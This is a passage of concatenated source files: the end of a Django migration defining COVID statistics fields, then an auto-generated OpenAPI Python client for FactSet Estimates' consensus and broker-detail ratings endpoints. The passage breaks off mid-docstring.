models.CharField(max_length=20)), ('active_case', models.CharField(max_length=20)), ('serious_critical', models.CharField(max_length=20)), ('cases_per_million', models.CharField(max_length=20)), ('deaths_per_million', models.CharField(max_length=20)), ('total_test', models.CharField(max_length=20)), ('test_per_million', models.CharField(max_length=20)), ], ), ]

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59,385

py

Python

code/python/FactSetEstimates/v2/fds/sdk/FactSetEstimates/api/ratings_api.py

factset/enterprise-sdk

3fd4d1360756c515c9737a0c9a992c7451d7de7e

[ "Apache-2.0" ]

6

2022-02-07T16:34:18.000Z

2022-03-30T08:04:57.000Z

code/python/FactSetEstimates/v2/fds/sdk/FactSetEstimates/api/ratings_api.py

factset/enterprise-sdk

3fd4d1360756c515c9737a0c9a992c7451d7de7e

[ "Apache-2.0" ]

2

2022-02-07T05:25:57.000Z

2022-03-07T14:18:04.000Z

code/python/FactSetEstimates/v2/fds/sdk/FactSetEstimates/api/ratings_api.py

factset/enterprise-sdk

3fd4d1360756c515c9737a0c9a992c7451d7de7e

[ "Apache-2.0" ]

null

""" FactSet Estimates Gain access to 20+ years of comprehensive estimates and statistics of over 250+ estimated metrics, including financial statement items, product segments, geosegments, and industry metrics. FactSet's consensus estimates are aggregated from a wide base of over 800+ contributors and cover over 19,000 active companies across 90+ countries. Data returned can be accessed on the data frequencies based on quarterly, fiscal years, and calendar years. FactSet Estimates updates on a real time basis intraday (every 5 minutes). Updating times vary based on earning season vs. non-earning season but the goal is to have the data available to the client within a few hours that FactSet receives updated information. Often times updates times can be much faster as FactSet has always been known as one of the fastest estimate providers in the market. # noqa: E501 The version of the OpenAPI document: 2.3.0 Contact: api@factset.com Generated by: https://openapi-generator.tech """ import re # noqa: F401 import sys # noqa: F401 from multiprocessing.pool import ApplyResult import typing from fds.sdk.FactSetEstimates.api_client import ApiClient, Endpoint as _Endpoint from fds.sdk.FactSetEstimates.model_utils import ( # noqa: F401 check_allowed_values, check_validations, date, datetime, file_type, none_type, validate_and_convert_types ) from fds.sdk.FactSetEstimates.exceptions import ApiException from fds.sdk.FactSetEstimates.model.consensus_ratings_request import ConsensusRatingsRequest from fds.sdk.FactSetEstimates.model.consensus_ratings_response import ConsensusRatingsResponse from fds.sdk.FactSetEstimates.model.detail_ratings_request import DetailRatingsRequest from fds.sdk.FactSetEstimates.model.detail_ratings_response import DetailRatingsResponse from fds.sdk.FactSetEstimates.model.error_response import ErrorResponse class RatingsApi(object): """NOTE: This class is auto generated by OpenAPI Generator Ref: https://openapi-generator.tech Do not edit the class manually. """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client self.get_consensus_ratings_endpoint = _Endpoint( settings={ 'response_type': ( { 200: (ConsensusRatingsResponse,), 400: (ErrorResponse,), 401: (ErrorResponse,), 403: (ErrorResponse,), 415: (ErrorResponse,), 500: (ErrorResponse,), }, None ), 'auth': [ 'FactSetApiKey', 'FactSetOAuth2' ], 'endpoint_path': '/factset-estimates/v2/consensus-ratings', 'operation_id': 'get_consensus_ratings', 'http_method': 'GET', 'servers': None, }, params_map={ 'all': [ 'ids', 'start_date', 'end_date', 'frequency', ], 'required': [ 'ids', ], 'nullable': [ ], 'enum': [ 'frequency', ], 'validation': [ 'ids', ] }, root_map={ 'validations': { ('ids',): { 'max_items': 3000, 'min_items': 1, }, }, 'allowed_values': { ('frequency',): { "D": "D", "W": "W", "AM": "AM", "AQ": "AQ", "AY": "AY" }, }, 'openapi_types': { 'ids': ([str],), 'start_date': (str,), 'end_date': (str,), 'frequency': (str,), }, 'attribute_map': { 'ids': 'ids', 'start_date': 'startDate', 'end_date': 'endDate', 'frequency': 'frequency', }, 'location_map': { 'ids': 'query', 'start_date': 'query', 'end_date': 'query', 'frequency': 'query', }, 'collection_format_map': { 'ids': 'csv', } }, headers_map={ 'accept': [ 'application/json' ], 'content_type': [], }, api_client=api_client ) self.get_consensus_ratings_for_list_endpoint = _Endpoint( settings={ 'response_type': ( { 200: (ConsensusRatingsResponse,), 400: (ErrorResponse,), 401: (ErrorResponse,), 403: (ErrorResponse,), 415: (ErrorResponse,), 500: (ErrorResponse,), }, None ), 'auth': [ 'FactSetApiKey', 'FactSetOAuth2' ], 'endpoint_path': '/factset-estimates/v2/consensus-ratings', 'operation_id': 'get_consensus_ratings_for_list', 'http_method': 'POST', 'servers': None, }, params_map={ 'all': [ 'consensus_ratings_request', ], 'required': [ 'consensus_ratings_request', ], 'nullable': [ ], 'enum': [ ], 'validation': [ ] }, root_map={ 'validations': { }, 'allowed_values': { }, 'openapi_types': { 'consensus_ratings_request': (ConsensusRatingsRequest,), }, 'attribute_map': { }, 'location_map': { 'consensus_ratings_request': 'body', }, 'collection_format_map': { } }, headers_map={ 'accept': [ 'application/json' ], 'content_type': [ 'application/json' ] }, api_client=api_client ) self.get_detail_ratings_endpoint = _Endpoint( settings={ 'response_type': ( { 200: (DetailRatingsResponse,), 400: (ErrorResponse,), 401: (ErrorResponse,), 403: (ErrorResponse,), 415: (ErrorResponse,), 500: (ErrorResponse,), }, None ), 'auth': [ 'FactSetApiKey', 'FactSetOAuth2' ], 'endpoint_path': '/factset-estimates/v2/detail-ratings', 'operation_id': 'get_detail_ratings', 'http_method': 'GET', 'servers': None, }, params_map={ 'all': [ 'ids', 'start_date', 'end_date', ], 'required': [ 'ids', ], 'nullable': [ ], 'enum': [ ], 'validation': [ 'ids', ] }, root_map={ 'validations': { ('ids',): { 'max_items': 3000, 'min_items': 1, }, }, 'allowed_values': { }, 'openapi_types': { 'ids': ([str],), 'start_date': (str,), 'end_date': (str,), }, 'attribute_map': { 'ids': 'ids', 'start_date': 'startDate', 'end_date': 'endDate', }, 'location_map': { 'ids': 'query', 'start_date': 'query', 'end_date': 'query', }, 'collection_format_map': { 'ids': 'csv', } }, headers_map={ 'accept': [ 'application/json' ], 'content_type': [], }, api_client=api_client ) self.get_detail_ratings_for_list_endpoint = _Endpoint( settings={ 'response_type': ( { 200: (DetailRatingsResponse,), 400: (ErrorResponse,), 401: (ErrorResponse,), 403: (ErrorResponse,), 415: (ErrorResponse,), 500: (ErrorResponse,), }, None ), 'auth': [ 'FactSetApiKey', 'FactSetOAuth2' ], 'endpoint_path': '/factset-estimates/v2/detail-ratings', 'operation_id': 'get_detail_ratings_for_list', 'http_method': 'POST', 'servers': None, }, params_map={ 'all': [ 'detail_ratings_request', ], 'required': [ 'detail_ratings_request', ], 'nullable': [ ], 'enum': [ ], 'validation': [ ] }, root_map={ 'validations': { }, 'allowed_values': { }, 'openapi_types': { 'detail_ratings_request': (DetailRatingsRequest,), }, 'attribute_map': { }, 'location_map': { 'detail_ratings_request': 'body', }, 'collection_format_map': { } }, headers_map={ 'accept': [ 'application/json' ], 'content_type': [ 'application/json' ] }, api_client=api_client ) @staticmethod def apply_kwargs_defaults(kwargs, return_http_data_only, async_req): kwargs["async_req"] = async_req kwargs["_return_http_data_only"] = return_http_data_only kwargs["_preload_content"] = kwargs.get("_preload_content", True) kwargs["_request_timeout"] = kwargs.get("_request_timeout", None) kwargs["_check_input_type"] = kwargs.get("_check_input_type", True) kwargs["_check_return_type"] = kwargs.get("_check_return_type", True) kwargs["_spec_property_naming"] = kwargs.get("_spec_property_naming", False) kwargs["_content_type"] = kwargs.get("_content_type") kwargs["_host_index"] = kwargs.get("_host_index") def get_consensus_ratings( self, ids, **kwargs ) -> ConsensusRatingsResponse: """Ratings consensus estimates to fetch Buy, Overweight, Hold, Underweight, and Sell. # noqa: E501 Returns ratings from the FactSet Estimates database for current and historical for an individual security using rolling fiscal dates as of a specific date. # noqa: E501 This method makes a synchronous HTTP request. Returns the http data only Args: ids ([str]): Security or Entity identifiers. FactSet Identifiers, tickers, CUSIP and SEDOL are accepted input. ***ids limit** = 3000 per request* * Make Note - id limit of 3000 for defaults, otherwise the service is limited to a 30 second duration. This can be reached when increasing total number of metrics requested and depth of history. * Keyword Args: start_date (str): Start date for point in time of estimates expressed in YYYY-MM-DD format.. [optional] end_date (str): End date for point in time of estimates expressed in YYYY-MM-DD format.. [optional] frequency (str): Controls the frequency of the data returned. * **D** = Daily * **W** = Weekly, based on the last day of the week of the start date. * **AM** = Monthly, based on the start date (e.g., if the start date is June 16, data is displayed for June 16, May 16, April 16 etc.). * **AQ** = Quarterly, based on the start date. * **AY** = Actual Annual, based on the start date. . [optional] if omitted the server will use the default value of "D" _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _content_type (str/None): force body content-type. Default is None and content-type will be predicted by allowed content-types and body. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. Returns: ConsensusRatingsResponse Response Object """ self.apply_kwargs_defaults(kwargs=kwargs, return_http_data_only=True, async_req=False) kwargs['ids'] = \ ids return self.get_consensus_ratings_endpoint.call_with_http_info(**kwargs) def get_consensus_ratings_with_http_info( self, ids, **kwargs ) -> typing.Tuple[ConsensusRatingsResponse, int, typing.MutableMapping]: """Ratings consensus estimates to fetch Buy, Overweight, Hold, Underweight, and Sell. # noqa: E501 Returns ratings from the FactSet Estimates database for current and historical for an individual security using rolling fiscal dates as of a specific date. # noqa: E501 This method makes a synchronous HTTP request. Returns http data, http status and headers Args: ids ([str]): Security or Entity identifiers. FactSet Identifiers, tickers, CUSIP and SEDOL are accepted input. ***ids limit** = 3000 per request* * Make Note - id limit of 3000 for defaults, otherwise the service is limited to a 30 second duration. This can be reached when increasing total number of metrics requested and depth of history. * Keyword Args: start_date (str): Start date for point in time of estimates expressed in YYYY-MM-DD format.. [optional] end_date (str): End date for point in time of estimates expressed in YYYY-MM-DD format.. [optional] frequency (str): Controls the frequency of the data returned. * **D** = Daily * **W** = Weekly, based on the last day of the week of the start date. * **AM** = Monthly, based on the start date (e.g., if the start date is June 16, data is displayed for June 16, May 16, April 16 etc.). * **AQ** = Quarterly, based on the start date. * **AY** = Actual Annual, based on the start date. . [optional] if omitted the server will use the default value of "D" _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _content_type (str/None): force body content-type. Default is None and content-type will be predicted by allowed content-types and body. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. Returns: ConsensusRatingsResponse Response Object int Http Status Code dict Dictionary of the response headers """ self.apply_kwargs_defaults(kwargs=kwargs, return_http_data_only=False, async_req=False) kwargs['ids'] = \ ids return self.get_consensus_ratings_endpoint.call_with_http_info(**kwargs) def get_consensus_ratings_async( self, ids, **kwargs ) -> "ApplyResult[ConsensusRatingsResponse]": """Ratings consensus estimates to fetch Buy, Overweight, Hold, Underweight, and Sell. # noqa: E501 Returns ratings from the FactSet Estimates database for current and historical for an individual security using rolling fiscal dates as of a specific date. # noqa: E501 This method makes a asynchronous HTTP request. Returns the http data, wrapped in ApplyResult Args: ids ([str]): Security or Entity identifiers. FactSet Identifiers, tickers, CUSIP and SEDOL are accepted input. ***ids limit** = 3000 per request* * Make Note - id limit of 3000 for defaults, otherwise the service is limited to a 30 second duration. This can be reached when increasing total number of metrics requested and depth of history. * Keyword Args: start_date (str): Start date for point in time of estimates expressed in YYYY-MM-DD format.. [optional] end_date (str): End date for point in time of estimates expressed in YYYY-MM-DD format.. [optional] frequency (str): Controls the frequency of the data returned. * **D** = Daily * **W** = Weekly, based on the last day of the week of the start date. * **AM** = Monthly, based on the start date (e.g., if the start date is June 16, data is displayed for June 16, May 16, April 16 etc.). * **AQ** = Quarterly, based on the start date. * **AY** = Actual Annual, based on the start date. . [optional] if omitted the server will use the default value of "D" _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _content_type (str/None): force body content-type. Default is None and content-type will be predicted by allowed content-types and body. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. Returns: ApplyResult[ConsensusRatingsResponse] """ self.apply_kwargs_defaults(kwargs=kwargs, return_http_data_only=True, async_req=True) kwargs['ids'] = \ ids return self.get_consensus_ratings_endpoint.call_with_http_info(**kwargs) def get_consensus_ratings_with_http_info_async( self, ids, **kwargs ) -> "ApplyResult[typing.Tuple[ConsensusRatingsResponse, int, typing.MutableMapping]]": """Ratings consensus estimates to fetch Buy, Overweight, Hold, Underweight, and Sell. # noqa: E501 Returns ratings from the FactSet Estimates database for current and historical for an individual security using rolling fiscal dates as of a specific date. # noqa: E501 This method makes a asynchronous HTTP request. Returns http data, http status and headers, wrapped in ApplyResult Args: ids ([str]): Security or Entity identifiers. FactSet Identifiers, tickers, CUSIP and SEDOL are accepted input. ***ids limit** = 3000 per request* * Make Note - id limit of 3000 for defaults, otherwise the service is limited to a 30 second duration. This can be reached when increasing total number of metrics requested and depth of history. * Keyword Args: start_date (str): Start date for point in time of estimates expressed in YYYY-MM-DD format.. [optional] end_date (str): End date for point in time of estimates expressed in YYYY-MM-DD format.. [optional] frequency (str): Controls the frequency of the data returned. * **D** = Daily * **W** = Weekly, based on the last day of the week of the start date. * **AM** = Monthly, based on the start date (e.g., if the start date is June 16, data is displayed for June 16, May 16, April 16 etc.). * **AQ** = Quarterly, based on the start date. * **AY** = Actual Annual, based on the start date. . [optional] if omitted the server will use the default value of "D" _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _content_type (str/None): force body content-type. Default is None and content-type will be predicted by allowed content-types and body. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. Returns: ApplyResult[(ConsensusRatingsResponse, int, typing.Dict)] """ self.apply_kwargs_defaults(kwargs=kwargs, return_http_data_only=False, async_req=True) kwargs['ids'] = \ ids return self.get_consensus_ratings_endpoint.call_with_http_info(**kwargs) def get_consensus_ratings_for_list( self, consensus_ratings_request, **kwargs ) -> ConsensusRatingsResponse: """Ratings consensus estimates to fetch Buy, Overweight, Hold, Underweight, and Sell. # noqa: E501 Returns ratings from the FactSet Estimates database for current and historical for an individual security using rolling fiscal dates as of a specific date. # noqa: E501 This method makes a synchronous HTTP request. Returns the http data only Args: consensus_ratings_request (ConsensusRatingsRequest): Request object for Estimate Data Items. Keyword Args: _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _content_type (str/None): force body content-type. Default is None and content-type will be predicted by allowed content-types and body. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. Returns: ConsensusRatingsResponse Response Object """ self.apply_kwargs_defaults(kwargs=kwargs, return_http_data_only=True, async_req=False) kwargs['consensus_ratings_request'] = \ consensus_ratings_request return self.get_consensus_ratings_for_list_endpoint.call_with_http_info(**kwargs) def get_consensus_ratings_for_list_with_http_info( self, consensus_ratings_request, **kwargs ) -> typing.Tuple[ConsensusRatingsResponse, int, typing.MutableMapping]: """Ratings consensus estimates to fetch Buy, Overweight, Hold, Underweight, and Sell. # noqa: E501 Returns ratings from the FactSet Estimates database for current and historical for an individual security using rolling fiscal dates as of a specific date. # noqa: E501 This method makes a synchronous HTTP request. Returns http data, http status and headers Args: consensus_ratings_request (ConsensusRatingsRequest): Request object for Estimate Data Items. Keyword Args: _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _content_type (str/None): force body content-type. Default is None and content-type will be predicted by allowed content-types and body. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. Returns: ConsensusRatingsResponse Response Object int Http Status Code dict Dictionary of the response headers """ self.apply_kwargs_defaults(kwargs=kwargs, return_http_data_only=False, async_req=False) kwargs['consensus_ratings_request'] = \ consensus_ratings_request return self.get_consensus_ratings_for_list_endpoint.call_with_http_info(**kwargs) def get_consensus_ratings_for_list_async( self, consensus_ratings_request, **kwargs ) -> "ApplyResult[ConsensusRatingsResponse]": """Ratings consensus estimates to fetch Buy, Overweight, Hold, Underweight, and Sell. # noqa: E501 Returns ratings from the FactSet Estimates database for current and historical for an individual security using rolling fiscal dates as of a specific date. # noqa: E501 This method makes a asynchronous HTTP request. Returns the http data, wrapped in ApplyResult Args: consensus_ratings_request (ConsensusRatingsRequest): Request object for Estimate Data Items. Keyword Args: _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _content_type (str/None): force body content-type. Default is None and content-type will be predicted by allowed content-types and body. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. Returns: ApplyResult[ConsensusRatingsResponse] """ self.apply_kwargs_defaults(kwargs=kwargs, return_http_data_only=True, async_req=True) kwargs['consensus_ratings_request'] = \ consensus_ratings_request return self.get_consensus_ratings_for_list_endpoint.call_with_http_info(**kwargs) def get_consensus_ratings_for_list_with_http_info_async( self, consensus_ratings_request, **kwargs ) -> "ApplyResult[typing.Tuple[ConsensusRatingsResponse, int, typing.MutableMapping]]": """Ratings consensus estimates to fetch Buy, Overweight, Hold, Underweight, and Sell. # noqa: E501 Returns ratings from the FactSet Estimates database for current and historical for an individual security using rolling fiscal dates as of a specific date. # noqa: E501 This method makes a asynchronous HTTP request. Returns http data, http status and headers, wrapped in ApplyResult Args: consensus_ratings_request (ConsensusRatingsRequest): Request object for Estimate Data Items. Keyword Args: _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _content_type (str/None): force body content-type. Default is None and content-type will be predicted by allowed content-types and body. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. Returns: ApplyResult[(ConsensusRatingsResponse, int, typing.Dict)] """ self.apply_kwargs_defaults(kwargs=kwargs, return_http_data_only=False, async_req=True) kwargs['consensus_ratings_request'] = \ consensus_ratings_request return self.get_consensus_ratings_for_list_endpoint.call_with_http_info(**kwargs) def get_detail_ratings( self, ids, **kwargs ) -> DetailRatingsResponse: """Broker Detail estimates to fetch Buy, Overweight, Hold, Underweight, and Sell. # noqa: E501 Retrieves the Broker Level ratings for the requested Id and date range. Ratings include Buy, Hold, Sell, Overweight, and Underweight. The `startDate` and `endDate` parameters controls the range of perspective dates. By default, the service will return the range of estimateDates within the latest company's reporting period. As you expand the date range, additional full historical reporting periods and all ratings estimateDates per broker will be returned. # noqa: E501 This method makes a synchronous HTTP request. Returns the http data only Args: ids ([str]): Security or Entity identifiers. FactSet Identifiers, tickers, CUSIP and SEDOL are accepted input. ***ids limit** = 3000 per request* * Make Note - id limit of 3000 for defaults, otherwise the service is limited to a 30 second duration. This can be reached when increasing total number of metrics requested and depth of history. * Keyword Args: start_date (str): Start date for point in time of estimates expressed in YYYY-MM-DD format.. [optional] end_date (str): End date for point in time of estimates expressed in YYYY-MM-DD format.. [optional] _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _content_type (str/None): force body content-type. Default is None and content-type will be predicted by allowed content-types and body. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. Returns: DetailRatingsResponse Response Object """ self.apply_kwargs_defaults(kwargs=kwargs, return_http_data_only=True, async_req=False) kwargs['ids'] = \ ids return self.get_detail_ratings_endpoint.call_with_http_info(**kwargs) def get_detail_ratings_with_http_info( self, ids, **kwargs ) -> typing.Tuple[DetailRatingsResponse, int, typing.MutableMapping]: """Broker Detail estimates to fetch Buy, Overweight, Hold, Underweight, and Sell. # noqa: E501 Retrieves the Broker Level ratings for the requested Id and date range. Ratings include Buy, Hold, Sell, Overweight, and Underweight. The `startDate` and `endDate` parameters controls the range of perspective dates. By default, the service will return the range of estimateDates within the latest company's reporting period. As you expand the date range, additional full historical reporting periods and all ratings estimateDates per broker will be returned. # noqa: E501 This method makes a synchronous HTTP request. Returns http data, http status and headers Args: ids ([str]): Security or Entity identifiers. FactSet Identifiers, tickers, CUSIP and SEDOL are accepted input. ***ids limit** = 3000 per request* * Make Note - id limit of 3000 for defaults, otherwise the service is limited to a 30 second duration. This can be reached when increasing total number of metrics requested and depth of history. * Keyword Args: start_date (str): Start date for point in time of estimates expressed in YYYY-MM-DD format.. [optional] end_date (str): End date for point in time of estimates expressed in YYYY-MM-DD format.. [optional] _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _content_type (str/None): force body content-type. Default is None and content-type will be predicted by allowed content-types and body. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. Returns: DetailRatingsResponse Response Object int Http Status Code dict Dictionary of the response headers """ self.apply_kwargs_defaults(kwargs=kwargs, return_http_data_only=False, async_req=False) kwargs['ids'] = \ ids return self.get_detail_ratings_endpoint.call_with_http_info(**kwargs) def get_detail_ratings_async( self, ids, **kwargs ) -> "ApplyResult[DetailRatingsResponse]": """Broker Detail estimates to fetch Buy, Overweight, Hold, Underweight, and Sell. # noqa: E501 Retrieves the Broker Level ratings for the requested Id and date range. Ratings include Buy, Hold, Sell, Overweight, and Underweight. The `startDate` and `endDate` parameters controls the range of perspective dates. By default, the service will return the range of estimateDates within the latest company's reporting period. As you expand the date range, additional full historical reporting periods and all ratings estimateDates per broker will be returned. # noqa: E501 This method makes a asynchronous HTTP request. Returns the http data, wrapped in ApplyResult Args: ids ([str]): Security or Entity identifiers. FactSet Identifiers, tickers, CUSIP and SEDOL are accepted input. ***ids limit** = 3000 per request* * Make Note - id limit of 3000 for defaults, otherwise the service is limited to a 30 second duration. This can be reached when increasing total number of metrics requested and depth of history. * Keyword Args: start_date (str): Start date for point in time of estimates expressed in YYYY-MM-DD format.. [optional] end_date (str): End date for point in time of estimates expressed in YYYY-MM-DD format.. [optional] _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _content_type (str/None): force body content-type. Default is None and content-type will be predicted by allowed content-types and body. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. Returns: ApplyResult[DetailRatingsResponse] """ self.apply_kwargs_defaults(kwargs=kwargs, return_http_data_only=True, async_req=True) kwargs['ids'] = \ ids return self.get_detail_ratings_endpoint.call_with_http_info(**kwargs) def get_detail_ratings_with_http_info_async( self, ids, **kwargs ) -> "ApplyResult[typing.Tuple[DetailRatingsResponse, int, typing.MutableMapping]]": """Broker Detail estimates to fetch Buy, Overweight, Hold, Underweight, and Sell. # noqa: E501 Retrieves the Broker Level ratings for the requested Id and date range. Ratings include Buy, Hold, Sell, Overweight, and Underweight. The `startDate` and `endDate` parameters controls the range of perspective dates. By default, the service will return the range of estimateDates within the latest company's reporting period. As you expand the date range, additional full historical reporting periods and all ratings estimateDates per broker will be returned. # noqa: E501 This method makes a asynchronous HTTP request. Returns http data, http status and headers, wrapped in ApplyResult Args: ids ([str]): Security or Entity identifiers. FactSet Identifiers, tickers, CUSIP and SEDOL are accepted input. ***ids limit** = 3000 per request* * Make Note - id limit of 3000 for defaults, otherwise the service is limited to a 30 second duration. This can be reached when increasing total number of metrics requested and depth of history. * Keyword Args: start_date (str): Start date for point in time of estimates expressed in YYYY-MM-DD format.. [optional] end_date (str): End date for point in time of estimates expressed in YYYY-MM-DD format.. [optional] _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _content_type (str/None): force body content-type. Default is None and content-type will be predicted by allowed content-types and body. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. Returns: ApplyResult[(DetailRatingsResponse, int, typing.Dict)] """ self.apply_kwargs_defaults(kwargs=kwargs, return_http_data_only=False, async_req=True) kwargs['ids'] = \ ids return self.get_detail_ratings_endpoint.call_with_http_info(**kwargs) def get_detail_ratings_for_list( self, detail_ratings_request, **kwargs ) -> DetailRatingsResponse: """Broker Detail estimates to fetch Buy, Overweight, Hold, Underweight, and Sell. # noqa: E501 Retrieves the Broker Level ratings for the requested Id and date range. Ratings include Buy, Hold, Sell, Overweight, and Underweight. The `startDate` and `endDate` parameters controls the range of perspective dates. By default, the service will return the range of estimateDates within the latest company's reporting period. As you expand the date range, additional full historical reporting periods and all ratings estimateDates per broker will be returned. # noqa: E501 This method makes a synchronous HTTP request. Returns the http data only Args: detail_ratings_request (DetailRatingsRequest): Request object for Detail Reatings Data Items. Keyword Args: _preload_content (bool): if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. _request_timeout (int/float/tuple): timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. Default is None. _check_input_type (bool): specifies if type checking should be done one the data sent to the server. Default is True. _check_return_type (bool): specifies if type checking should be done one the data received from the server. Default is True. _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _content_type (str/None): force body content-type. Default is None and content-type will be predicted by allowed content-types and body. _host_index (int/None): specifies the index of the server that we want to use. Default is read from the configuration. Returns: DetailRatingsResponse Response Object """ self.apply_kwargs_defaults(kwargs=kwargs, return_http_data_only=True, async_req=False) kwargs['detail_ratings_request'] = \ detail_ratings_request return self.get_detail_ratings_for_list_endpoint.call_with_http_info(**kwargs) def get_detail_ratings_for_list_with_http_info( self, detail_ratings_request, **kwargs ) -> typing.Tuple[DetailRatingsResponse, int, typing.MutableMapping]: """Broker Detail estimates to fetch Buy, Overweight, Hold, Underweight, and Sell. # noqa: E501 Retrieves the Broker Level ratings for the requested Id and date range. Ratings include 